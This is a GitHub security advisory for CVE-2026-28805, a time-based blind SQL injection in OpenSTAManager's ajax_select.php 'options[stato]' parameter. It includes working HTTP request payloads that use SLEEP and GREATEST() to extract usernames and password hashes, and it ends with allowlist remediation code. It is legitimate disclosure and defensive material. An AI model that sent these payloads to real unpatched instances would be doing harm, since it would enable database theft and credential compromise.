GitHub Advisoryadvisory · Packagist

GHSA-3gw8-3mg3-jmpc OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter

HIGH Published 2026-04-01 Modified 2026-04-06 Official page ↗
Aliases
CVE-2026-28805
Ecosystem
Packagist
Packages
devcode-it/openstamanager
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-04-01

Affected packages

• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2

Description

Description Multiple AJAX select handlers in OpenSTAManager ` to `/ajax_select.php` 2. `ajax_select.php` (line 30) reads the value via `filter('options')`, which applies HTMLPurifier sanitization 3. HTMLPurifier strips HTML tags and the `>` character, but does NOT strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `'`, etc.) 4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40) 5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module's `select.php` file (line 275) 6. The module's `select.php` reads `$superselect['stato']` and concatenates it directly into the `$where[]` array 7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120) Why HTMLPurifier is Insufficient HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically: • It does not strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE` • It does not strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*` • It strips the `>` character (used in HTML), which can be bypassed using MySQL's `GREATEST()` function • It provides zero protection against SQL injection Proof of Concept Prerequisites • A valid user account on the OpenSTAManager instance (any privilege level) • Network access to the application Step 1: Authenticate ``` POST /index.php HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded op=login&username=&password= ``` Save the `PHPSESSID` cookie from the `Set-Cookie` response header. Step 2: Verify Injection (SLEEP test) Baseline request (normal response time ~200ms): ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1 Host: Cookie: PHPSESSID= ``` Injection request (response time ~10 seconds): ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1 Host: Cookie: PHPSESSID= ``` Expected result: The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{"results":[],"recordsFiltered":0}`. Step 3: Data Extraction (demonstrating impact) Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `>` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent: Extract username length: ``` GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1 ``` This technique was used to successfully extract: • Username: `admin` (5 characters, extracted character by character) • Password hash prefix: `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt) • MySQL version: `8.3.0` PoC for Other Endpoints Ordini (orders): ``` GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1 ``` Contratti (contracts): ``` GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1 ``` Both endpoints show the same SLEEP-based timing delay, confirming the injection. Impact • Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration. • Integrity: With MySQL's `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data. • Availability: An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service. Proposed Remediation Option A: Allowlist Validation (Recommended) Replace the direct concatenation with an allowlist of permitted column names: ```php // modules/preventivi/ajax/select.php — FIXED $allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '('.$stato.' = 1)'; ``` ```php // modules/ordini/ajax/select.php — FIXED $allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_fatturabile'; $where[] = '`or_statiordine`.'.$stato.' = 1'; ``` ```php // modules/contratti/ajax/select.php — FIXED $allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile']; $stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati) ? $superselect['stato'] : 'is_pianificabile'; $where[] = '`idstato` IN (SELECT `id` FROM `co_s…

Related

Alias · CVE (1)

  • CVE-2026-28805 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References